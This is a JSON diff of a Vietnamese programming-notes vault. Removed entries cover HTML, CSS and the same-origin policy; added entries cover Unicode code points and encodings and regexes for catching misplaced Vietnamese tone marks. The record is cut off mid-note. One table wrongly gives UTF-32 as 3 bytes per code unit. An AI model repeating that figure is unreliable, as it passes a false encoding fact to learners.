"2024-08-18T08:05:00.000Z", - "id": "ZK" + "Ngày tạo": "2023-09-22T14:08:00.000Z", + "Ngày cập nhật": "2024-08-25T13:41:00.000Z", + "id": "d3" }, { - "Tiêu đề": "Dùng tag ngữ nghĩa thay vì dùng div", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/HTML, CSS/Dùng tag ngữ nghĩa thay vì dùng div", + "Tiêu đề": "Không gian mã là không gian chứa tất cả các điểm mã của Unicode", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Tiếng Việt, Unicode, emoji/Lý thuyết Unicode/Không gian mã là không gian chứa tất cả các điểm mã của Unicode", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: ![Why & When to Use Semantic HTML Elements over Divs - YouTube](https://youtu.be/bOUhq46fd5g?si=n-IUAnU_HUnbdylk)", + "Toàn bộ nội dung": "[[Điểm mã liên quan đến việc con người đánh số thứ tự của ký tự thế nào. Đơn vị mã liên quan đến việc máy tính dùng phương thức nào để biết tìm ký tự đó ở đâu]]] ] \r\nNguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "ZL" + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-25T13:41:00.000Z", + "id": "d4" }, { - "Tiêu đề": "HTML giống như từng thành phần trong bộ đồ như quần, áo, nón, giày. CSS giống như màu sắc, kích thước của quần, áo. JS là thứ giúp thay đổi màu sắc, kích thước của quần, áo", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/HTML, CSS/HTML giống như từng thành phần trong bộ đồ như quần, áo, nón, giày. CSS giống như màu sắc, kích thước của quần, áo. JS là thứ giúp thay đổi màu sắc, kích thước của quần, áo", + "Tiêu đề": "Kể cả khi viết nội dung bằng ngôn ngữ khác thì số ký tự ASCII vẫn nhiều hơn nhiều so với số ký tự phi ASCII", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Tiếng Việt, Unicode, emoji/Lý thuyết Unicode/Kể cả khi viết nội dung bằng ngôn ngữ khác thì số ký tự ASCII vẫn nhiều hơn nhiều so với số ký tự phi ASCII", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn::\r\n[[Chữ ML trong HTML, XML, YAML, TOML là viết tắt của markup language]]", + "Toàn bộ nội dung": "Các ký tự ASCII thường nằm ở trong các thẻ HTML\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "ZM" + "Ngày cập nhật": "2024-08-25T13:41:00.000Z", + "id": "d5" }, { - "Tiêu đề": "Khi chỉnh CSS mà thấy không thay đổi, thử xoá cache xem", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/HTML, CSS/Khi chỉnh CSS mà thấy không thay đổi, thử xoá cache xem", + "Tiêu đề": "Lý thuyết Unicode", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Tiếng Việt, Unicode, emoji/Lý thuyết Unicode", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "![](https://i.imgur.com/169cTiL.png)\r\n", + "Toàn bộ nội dung": "```dataview\nLIST\nFROM \"🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Tiếng Việt, Unicode, emoji/Lý thuyết Unicode\" \nWHERE file.name!=this.file.name\nWhere file.name=split(file.folder, \"/\")[1]\n```\n\n![Plain Text - Dylan Beattie - NDC Copenhagen 2022 - YouTube](https://youtu.be/gd5uJ7Nlvvo)\n![Accidental Emoji Expert: Tom Scott at An Evening of Unnecessary Detail](https://youtu.be/5OPkGQoPeHk?si=Y2mZenbD8oXLf8fA) \n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "ZN" + "Ngày tạo": "2023-09-22T07:54:00.000Z", + "Ngày cập nhật": "2024-09-09T13:58:00.000Z", + "id": "d6" }, { - "Tiêu đề": "Property nghĩa gốc là tài sản. Attribute nghĩa gốc là thêm vào", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/HTML, CSS/Property nghĩa gốc là tài sản. Attribute nghĩa gốc là thêm vào", + "Tiêu đề": "Mỗi điểm mã được biểu diễn dưới dạng U+XXYYYY", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Tiếng Việt, Unicode, emoji/Lý thuyết Unicode/Mỗi điểm mã được biểu diễn dưới dạng U+XXYYYY", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Chính vì như vậy, nên DOM không có attribute, HTML không có property\r\n[[Vật thể được tạo nên bởi những thuộc tính]]\r\nNguồn:: ", + "Toàn bộ nội dung": "Chung quy lại định dạng điểm mã Unicode có dạng `U+000639`, với \"U+\" là Unicode, 2 số đầu để mô tả plane, 4 số cuối là điểm mã trong plane đó. Plane đầu tiên gọi là Basic Multilingual Plane, đây là plane quan trọng nhất (plane 0), chứa gần như hầu hết hệ thống chữ viết và ký hiệu thường dùng trên thế giới. Chứa ký tự nằm trong khoảng `U+0000` đến `U+FFFF`.\r\nNguồn:: [Tìm hiểu Unicode](https://viblo.asia/p/tim-hieu-unicode-PwRkgVOXeEd)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "ZO" + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-25T13:41:00.000Z", + "id": "d7" }, { - "Tiêu đề": "Nếu tạo CORS proxy thì chỉ trả về đúng HTML thôi, đừng xử lý gì hết trên đó", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Nếu tạo CORS proxy thì chỉ trả về đúng HTML thôi, đừng xử lý gì hết trên đó", + "Tiêu đề": "Những số bắt đầu bằng 0x là những số hex", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Tiếng Việt, Unicode, emoji/Lý thuyết Unicode/Những số bắt đầu bằng 0x là những số hex", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Vì nếu xử lý và cần trả về một vật thể có chứ DOM, thì việc phải dùng `return Response.json()` sẽ gây lỗi circular\r\n\r\nNguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "ZP" + "Ngày cập nhật": "2024-08-25T13:41:00.000Z", + "id": "d8" }, { - "Tiêu đề": "Render phía máy chủ nhanh và SEO tốt. Render phía người dùng phù hợp cho những ứng dụng cần tương tác nhiều", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Render phía máy chủ nhanh và SEO tốt. Render phía người dùng phù hợp cho những ứng dụng cần tương tác nhiều", + "Tiêu đề": "Tuỳ vào phương thức mã hoá mà mỗi ký tự Unicode sẽ được biểu diễn bởi 1-4 đơn vị mã, 1-2 đơn vị mã, hoặc chỉ một đơn vị mã duy nhất", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Tiếng Việt, Unicode, emoji/Lý thuyết Unicode/Tuỳ vào phương thức mã hoá mà mỗi ký tự Unicode sẽ được biểu diễn bởi 1-4 đơn vị mã, 1-2 đơn vị mã, hoặc chỉ một đơn vị mã duy nhất", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "https://toidicodedao.com/2018/09/11/su-khac-biet-giua-server-side-rendering-va-client-side-rendering/\r\nNguồn:: ![SSR & CSR - YouTube](https://www.youtube.com/watch?v=HLEu57iLrRo)", + "Toàn bộ nội dung": "| Phương thức mã hoá | Số đơn vị mã (code unit) cần để biểu diễn một ký tự bất kỳ | Số byte cần cho một đơn vị mã |\r\n| ------------------ | ---------------------------------------------------------- | ----------------------------- |\r\n| UTF-8 | 1-4 | 1 |\r\n| UTF-16 | 1-2 | 2 |\r\n| UTF-32 | 1 | 3 |\r\n\r\nNguồn:: [Tìm hiểu Unicode](https://viblo.asia/p/tim-hieu-unicode-PwRkgVOXeEd)\r\nVí dụ, chữ `à` có 2 code point:\r\n- `U+0061` cho chữ `a`\r\n- `U+0300` cho dấu huyền\r\n\r\nCó thể kiểm tra điều này bằng lệnh \r\n```\r\n\"à\".length //kết quả là 2 😲\r\n```\r\nTuy nhiên, `a` cũng có thể có 1 code point là `U+00E0`.\r\n[[UTF là cách thức để chuyển đổi từ điểm mã sang hệ nhị phân]]\r\n\r\nĐây cũng là lý do mà [[JSON không cho phép để dư dấu phẩy, không có comment, bắt buộc phải dùng ngoặc kép, key phải được đóng trong ngoặc kép|JSON bắt phải đóng ngoặc kép tất cả các key]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "ZQ" + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-25T13:41:00.000Z", + "id": "d9" }, { - "Tiêu đề": "Same-origin policy ngăn chặn việc script ở tab này điều khiển tab kia", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Same-origin policy ngăn chặn việc script ở tab này điều khiển tab kia", + "Tiêu đề": "Unicode chia thành 17 plane, mỗi plane chứa 65,536 (= 16⁴) điểm mã", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Tiếng Việt, Unicode, emoji/Lý thuyết Unicode/Unicode chia thành 17 plane, mỗi plane chứa 65,536 (= 16⁴) điểm mã", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "## What is Same Origin Policy?\r\n\r\n![](https://images.viblo.asia/9c0d86ff-0393-43e0-9109-80fe89fb7d2b.jpeg)\r\n\r\n**Same-origin policy** (SOP) là một trong những chính sách bảo mật quan trọng nhất trên trình duyệt hiện đại, nhằm ngăn chặn JavaScript code có thể tạo ra những request đến những nguồn khác với nguồn mà nó được trả về. Ba tiêu chí chính để so sánh request bao gồm:\r\n\r\n- Domain (tên miền)\r\n- Protocol (giao thức)\r\n- Port (cổng kết nối)\r\n\r\nNói đơn giản thì request sẽ được coi là hợp lệ chỉ khi nó thỏa mãn 3 tiêu chí ở trên (cùng domain,cùng protocol và cùng port)\r\n\r\n### Example\r\n\r\nThử tưởng tượng khi chúng ta đang mở 2 tab, 1 tab là facebook, tab kia là 1 trang web nào đó có chứa mã độc. Sẽ rất nguy hiểm nếu như các đoạn script ở bên tab chứa mã độc có thể tự do thao tác lên tab facebook phía bên kia, và **SOP** sinh ra với nhiệm vụ ngăn chặn các hành động này.\r\n\r\nDưới đây là vd về list các pages vi phạm **SOP** của site origin( [http://www.example.com](http://www.example.com)) :\r\n\r\n- [http://www.example.co.uk](http://www.example.co.uk) (khác domain)\r\n- [http://example.org](http://example.org) (khác domain)\r\n- [https://example.com](https://example.com) (khác protocol)\r\n- [http://example.com:8080](http://example.com:8080) (khác port)\r\n\r\n### Bypass Same-Origin Policy\r\n\r\nMặc dù ưu điểm bảo mật của **SOP** là rõ ràng, tuy nhiên trong một số trường hợp điều này lại gây khó khăn cho các nhà phát triển.\r\n\r\nĐiển hình Internet Explorer có hai ngoại lệ có thể bỏ qua **SOP**:\r\n\r\n- Nếu 2 domain cùng thuộc trust zone\r\n- Không bao gồm cổng, nghĩa là với IE thì [http://company.com:81/index.html](http://company.com:81/index.html) và [http://company.com/index.html](http://company.com/index.html) đều cùng source.\r\n\r\nNếu một công ty có nhiều web application cùng yêu cầu xác thực tại một nơi, vd như [http://store.company.com](http://store.company.com) cần xác thực tại [http://login.company.com](http://login.company.com) trước. Việc nhận dữ liệu trả về từ request đến [http://login.company.com](http://login.company.com) không khả thi vì đã bị chặn do vi phạm **SOP**.\r\n\r\nChúng ta có nhiều cách để giải quyết trong trường hợp này, thường dùng nhất là **Cross Origin Resource Sharing** (CORS). Tuy nhiên chúng ta sẽ nói về CORS ở phần khác.\r\nNguồn:: [[Viblo]], [Security testing tutorial (Part 4): Same Origin Policy & Cookies](https://viblo.asia/p/security-testing-tutorial-part-4-same-origin-policy-cookies-bWrZnOLwlxw)\r\n\r\n[[CORS là để trình duyệt bảo vệ người dùng, không phải để bảo vệ máy chủ]]\r\n[[Origin là sự kết hợp của protocol, hostname và port]]\r\n", + "Toàn bộ nội dung": "65536 ký tự tương đương từ 0000 - FFFF trong hệ hexa. Đây chính là con số đứng \r\n\r\nNguồn:: [Tìm hiểu Unicode](https://viblo.asia/p/tim-hieu-unicode-PwRkgVOXeEd)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "ZR" + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-25T13:41:00.000Z", + "id": "dA" }, { - "Tiêu đề": "Web", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Web", + "Tiêu đề": "UTF là cách thức để chuyển đổi từ điểm mã sang hệ nhị phân", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Tiếng Việt, Unicode, emoji/Lý thuyết Unicode/UTF là cách thức để chuyển đổi từ điểm mã sang hệ nhị phân", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "![SỰ THẬT về Xây Dựng Website Từ Số 0 | Roadmap Học Lập Trình Từ Đầu Cho Beginners - YouTube](https://youtu.be/JoXcxgs99bg?si=wWTRFwVis99Ey8Us)\n![The Evolution of Web Apps 1992-2024 - YouTube](https://youtu.be/a_1cV7hg5G8?si=YNONPnUYRzM1s9Sn)\n\n[web.dev](https://web.dev)\n```dataview\nLIST rows.file.link\nFROM \"✍️Lập trình/Web\" \nWHERE file.name!=this.file.name\nGROUP BY split(file.folder, \"/\")[2]\n```\n\n## Nơi thảo luận\n![](https://i.imgur.com/4fq665i.png)", + "Toàn bộ nội dung": "Nguồn:: ![Unicode Encoding! UTF-32, UCS-2, UTF-16, & UTF-8! - YouTube](https://www.youtube.com/watch?v=uTJoJtNYcaQ)\r\n![](https://youtu.be/c_hfKgektt4?si=gKYUGTBDqefMiXeG) \r\n\r\n[[Tuỳ vào phương thức mã hoá mà mỗi ký tự Unicode sẽ được biểu diễn bởi 1-4 đơn vị mã, 1-2 đơn vị mã, hoặc chỉ một đơn vị mã duy nhất]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-26T06:55:00.000Z", - "Ngày cập nhật": "2024-08-25T14:30:00.000Z", - "id": "ZS" + "Ngày tạo": "2023-09-22T14:39:00.000Z", + "Ngày cập nhật": "2024-08-25T13:41:00.000Z", + "id": "dB" }, { - "Tiêu đề": "Khoa học máy tính", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ξ Nguồn và tài nguyên hỗ trợ/Tài nguyên hỗ trợ/Khoa học máy tính", + "Tiêu đề": "Điểm mã không phải là cách để máy tính lưu ký tự", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Tiếng Việt, Unicode, emoji/Lý thuyết Unicode/Điểm mã không phải là cách để máy tính lưu ký tự", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "- [Teach Yourself Computer Science](https://teachyourselfcs.com/)\r\n- roadmap.sh\r\n![](https://youtu.be/i4MneyaJPG4)\r\n", + "Toàn bộ nội dung": "Lý do:: [[Điểm mã liên quan đến việc con người đánh số thứ tự của ký tự thế nào. Đơn vị mã liên quan đến việc máy tính dùng phương thức nào để biết tìm ký tự đó ở đâu]] \r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "ZT" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-25T13:41:00.000Z", + "id": "dC" }, { - "Tiêu đề": "MDN chất lượng hơn W3School", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ξ Nguồn và tài nguyên hỗ trợ/Tài nguyên hỗ trợ/Tiếng Anh/MDN chất lượng hơn W3School", + "Tiêu đề": "Điểm mã liên quan đến việc con người đánh số thứ tự của ký tự thế nào. Đơn vị mã liên quan đến việc máy tính dùng phương thức nào để biết tìm ký tự đó ở đâu", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Tiếng Việt, Unicode, emoji/Lý thuyết Unicode/Điểm mã liên quan đến việc con người đánh số thứ tự của ký tự thế nào. Đơn vị mã liên quan đến việc máy tính dùng phương thức nào để biết tìm ký tự đó ở đâu", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]\n", + "Toàn bộ nội dung": "[[Điểm mã không phải là cách để máy tính lưu ký tự]] \r\n[[Mỗi điểm mã được biểu diễn dưới dạng U+XXYYYY]]. [[Các ký tự ASCII có 1 điểm mã]]. [[Không gian mã là không gian chứa tất cả các điểm mã của Unicode]]] ] \r\n[[Tuỳ vào phương thức mã hoá mà mỗi ký tự Unicode sẽ được biểu diễn bởi 1-4 đơn vị mã, 1-2 đơn vị mã, hoặc chỉ một đơn vị mã duy nhất]]\r\nNguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-26T08:13:00.000Z", - "id": "ZU" + "Ngày cập nhật": "2024-08-25T13:41:00.000Z", + "id": "dD" }, { - "Tiêu đề": "CodeAnalogies", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ξ Nguồn và tài nguyên hỗ trợ/Ξ Nguồn/CodeAnalogies", + "Tiêu đề": "Tiếng Việt có 2 cách đặt dấu thanh, căn cứ vào thẩm mỹ hoặc vào ngữ âm", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Tiếng Việt, Unicode, emoji/Tiếng Việt có 2 cách đặt dấu thanh, căn cứ vào thẩm mỹ hoặc vào ngữ âm", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [CodeAnalogies | CSS,JavaScript Tutorials](https://www.codeanalogies.com/)", + "Toàn bộ nội dung": "- Quy tắc kiểu cũ có phần căn cứ trên nhãn quan, giữ vị trí dấu ở giữa hay gần giữa mỗi từ cho cân bằng. VD: `hòa`\n- Quy tắc kiểu mới căn cứ trên [ngữ âm học](https://vi.wikipedia.org/wiki/Ng%E1%BB%AF_%C3%A2m_h%E1%BB%8Dc \"Ngữ âm học\") muốn đối chiếu chữ và âm. VD `hoà`\n\nNguồn:: [[Wikipedia]], [Quy tắc đặt dấu thanh trong chữ quốc ngữ – Wikipedia tiếng Việt](https://vi.wikipedia.org/wiki/Quy_t%E1%BA%AFc_%C4%91%E1%BA%B7t_d%E1%BA%A5u_thanh_trong_ch%E1%BB%AF_qu%E1%BB%91c_ng%E1%BB%AF)\n\nQuy tắc cũ chỉ khác với quy tắc mới ở những từ không có phụ âm cuối. Nếu có phụ âm cuối thì giống như nhau\n\n# Snippet đổi tất cả kiểu cũ sang kiểu mới\n```js\nconst kiểuCũ = ['òa', 'óa', 'ỏa', 'õa', 'ọa', 'òe', 'óe', 'ỏe', 'õe', 'ọe', 'ùy', 'úy', 'ủy', 'ũy', 'ụy']\nconst kiểuMới = ['oà', 'oá', 'oả', 'oã', 'oạ', 'oè', 'oé', 'oẻ', 'oẽ', 'oẹ', 'uỳ', 'uý', 'uỷ', 'uỹ', 'uỵ']\nfor (const k in kiểuCũ) {\n\tif (câuNhập.includes(kiểuCũ[k])) {\n\t\tcâuNhập = câuNhập.replaceAll(kiểuCũ[k], kiểuMới[k])\n\t}\n}\n```\n\n---\n\n# Câu lệnh Regex để bắt lỗi đặt dấu thanh trong tiếng Việt\n\nTrong bài viết này tôi sử dụng quy tắc đặt dấu thanh kiểu cũ, chúng ta tạm đặt ra bên ngoài các tranh cãi về mặt ngôn ngữ học. Lý do chủ yếu tôi chọn cách này, vì nó phổ biến hơn, đây cũng là quy tắc mặc định trong trình hỗ trợ gõ tiếng Việt phổ biến là Unikey.\n\nQuy tắc là thế này:\n\n- Nếu trong từ có dấu, và nó có một nguyên âm, thì dấu phải đặt ở nguyên âm đó, ví dụ như mẹ, lẹ, có, càng;\n- Nếu nó chỉ có 2 nguyên âm mà ở liền sau không có chữ cái nào nữa thì dấu đặt ở nguyên âm đầu, ví dụ như bùa, cào, táo, bùi, túi, tòa, mãi;\n- Nếu nó có 2 nguyên âm mà liền sau có thêm một nguyên âm hoặc phụ âm thì dấu đặt ở nguyên âm giữa (trường hợp 3 nguyên âm), hoặc nguyên âm thứ hai (trường hợp 2 nguyên âm + phụ âm cuối), ví dụ: toàn, choáng (2 nguyên âm + phụ âm), hoặc oái, oải (3 nguyên âm liền nhau);\n- Nếu trong từ có dấu và có nguyên âm ê hoặc ơ thì bất kể nó ở đâu, dấu phải thuộc về ê hoặc ơ. Ví dụ chuyện, quyển (dấu thanh không phải ở giữa mà ở cuối dù có 3 nguyên âm liền nhau), tuế, thuở (chỉ có 2 nguyên âm cuối nhưng dấu thanh không đặt trước mà đặt sau)\n- Với những từ bắt đầu với gi và qu như giá, quà, gió, quạ thì gi và qu được coi là mẫu tự riêng, và quy tắc dấu ở nguyên âm trước không áp dụng;\n\nOK, giờ chúng ta sẽ đi vào phần bắt lỗi các từ không tuân thủ quy tắc trên. Để đỡ phức tạp, code mẫu được tôi viết cho từ viết thường, viết HOA thì bạn chỉ cần bổ sung thêm là được, quan trọng là khi hiểu vấn đề thì việc thêm sẽ không khó khăn gì.\n\nBạn có thể muốn tham khảo 2 tài nguyên giúp ích cho quá trình này:\n\n- [Các chữ cái sẵn có trong bài viết để tiện sao chép](https://kiencang.net/mang-array-tien-dung-ho-ten/);\n- [Cú pháp cơ bản của Regex](https://kiencang.net/cu-phap-co-ban-regex/) (biểu thức chính quy);\n\nChúng ta bắt đầu với ngoại lệ của gi và qu trước:\n\n- Nếu bắt đầu bằng gi và qu, dấu không được đặt lên i và u trong gi và qu. Do vậy việc bắt từ đặt sai dấu sẽ thế này:\n\n```\n(^(g[íìỉĩị]|q[úùủũụứừửữự])[aăâeêoôơuưiy])[a-z]*\n```\n\nNó sẽ bắt lỗi các từ như thế này:\n\n```\ngía\ngíong\ngíêng\nqúa\nqúan\ngìau\ngìêng\n```\n\n- Tiếp đến là các từ có 2 nguyên âm ở cuối, dấu sẽ đặt ở nguyên âm đầu, chúng ta sẽ bắt lỗi các từ đặt ở nguyên âm sau:\n\n```\n([bcdfhjklmnprstvxzđ]*[aăâeoôơuưiy][áàảãạắằẳẵặấầẩẫậéèẻẽẹóòỏõọốồổỗộúùủũụứừửữựýỳỷỹỵíìỉĩị])$\n```\n\nLưu ý là đoạn sẽ không có `[bcdfhjklmnprstvxzđ]` g và q, vì nếu đặt vào nó sẽ mâu thuẫn với nguyên tắc gi và qu.\n\nDấu $ đặt cuối để chỉ thị sau nó không còn có từ nào nữa, vì chúng ta bắt lỗi này chỉ với từ có 2 nguyên âm.\n\nTrong nhóm `[áàảãạắằẳẵặấầẩẫậéèẻẽẹóòỏõọốồổỗộúùủũụứừửữựýỳỷỹỵíìỉĩị]` cũng không có ê và ơ, vì 2 từ này được phép có dấu dù vị trí của nó ở đâu.\n\nĐoạn mã trên sẽ bắt lỗi các từ như thế này:\n\n```\nhoạ\nhoà\nhaọ\nkeó\nmeọ\ncoí\n```\n\n- Giờ chúng ta xử lý việc từ có 3 nguyên âm liên tiếp hoặc 2 nguyên âm và có ít nhất một từ đằng sau đó. Nếu từ có 3 nguyên âm, lỗi sẽ xảy ra nếu dấu nằm ở nguyên âm đầu, hoặc nguyên âm cuối. Nếu từ có 2 nguyên âm và ít nhất một từ đứng cuối, bắt lỗi sẽ xảy ra nếu dấu nằm ở nguyên âm đầu.\n\nĐoạn mã Regex bắt lỗi dấu ở nguyên âm đầu trong trường hợp có 3 nguyên âm hoặc 2 nguyên âm + phụ âm cuối:\n\n```\n([a-zđ]*[áàảãạắằẳẵặấầẩẫậéèẻẽẹóòỏõọốồổỗộúùủũụứừửữựýỳỷỹỵíìỉĩị][aăâêeoôơuưiy][aăâeêoôơuưiybcdghklmnpqrstvx]+)\n```\n\nChúng ta cần bổ sung thêm trường hợp 3 nguyên âm và dấu nằm ở nguyên âm cuối:\n\n```\n[bcdfghjklmnpqrstvxzđ]*[aăâeêoôơuưiy][aăâeêoôơuưiy][áàảãạắằẳẵặấầẩẫậéèẻẽẹóòỏõọốồổỗộúùủũụứừửữựýỳỷỹỵíìỉĩị][a-z]*\n```\n\nKết quả nó sẽ bắt lỗi các từ như thế này:\n\n```\nhòang\nhùynh\ntòan\ntươí\ntoaì\ntóai\n```\n\n- Cuối cùng là bắt lỗi từ có dấu có ê hoặc ơ, mà dấu không nằm ở ê hoặc ơ\n\nMã Regex với ê:\n\n```\n[a-zăâôơưđ]*[áàảãạắằẳẵặấầẩẫậóòỏõọốồổỗộờớởỡợúùủũụứừửữựýỳỷỹỵíìỉĩị][a-z]*ê[a-zăâôơư]*\n```\n\nNó sẽ bắt lỗi các từ như thế này:\n\n```\nchụyên\nchuỵên\nlúyên\nluỵên\ntúê\ntụê\n```\n\nTương tự là mã Regex với ơ:\n\n```\n[a-zăâôêưđ]*[áàảãạắằẳẵặấầẩẫậếềểễệóòỏõọốồổỗộúùủũụứừửữựýỳỷỹỵíìỉĩị][a-z]*ơ[a-zăâôơư]*\n```\n\nCuối cùng là đoạn mã tổng hợp với một chút chỉnh sửa thêm để bắt lỗi các trường hợp đặt sai dấu thanh:\n\n```\n(((g[íìỉĩị]|q[úùủũụứừửữự])[aăâeêoôơuưiy])[a-z]*)|([bcdfhjklmnprstvxzđ]*[aăâeoôơuưiy][áàảãạắằẳẵặấầẩẫậéèẻẽẹóòỏõọốồổỗộúùủũụứừửữựýỳỷỹỵíìỉĩị])$|([a-zđ]*[áàảãạắằẳẵặấầẩẫậéèẻẽẹóòỏõọốồổỗộúùủũụứừửữựýỳỷỹỵíìỉĩị][aăâêeoôơuưiy][aăâeêoôơuưiybcdfghklmnpqrstvx]+)|([bcdfghjklmnpqrstvxzđ]*[aăâêeoôơuưiy][aăâêeoôơuưiy][áàảãạắằẳẵặấầẩẫậéèẻẽẹóòỏõọốồổỗộúùủũụứừửữựýỳỷỹỵíìỉĩị][bcdfghjklmnpqrstvxz]*)|([a-zăâôơưđ]*[áàảãạắằẳẵặấầẩẫậóòỏõọốồổỗộờớởỡợúùủũụứừửữựýỳỷỹỵíìỉĩị][a-z]*ê[a-zăâôơư]*)|([a-zăâôêưđ]*[áàảãạắằẳẵặấầẩẫậếềểễệóòỏõọốồổỗộúùủũụứừửữựýỳỷỹỵíìỉĩị][a-z]*ơ[a-zăâôơư]*)\n```\n\nBạn có thể [ghé thăm đường link này tôi viết sẵn](https://regex101.com/r/0Fe2Es/1/) để tiện tham khảo.\n\n## Tích hợp 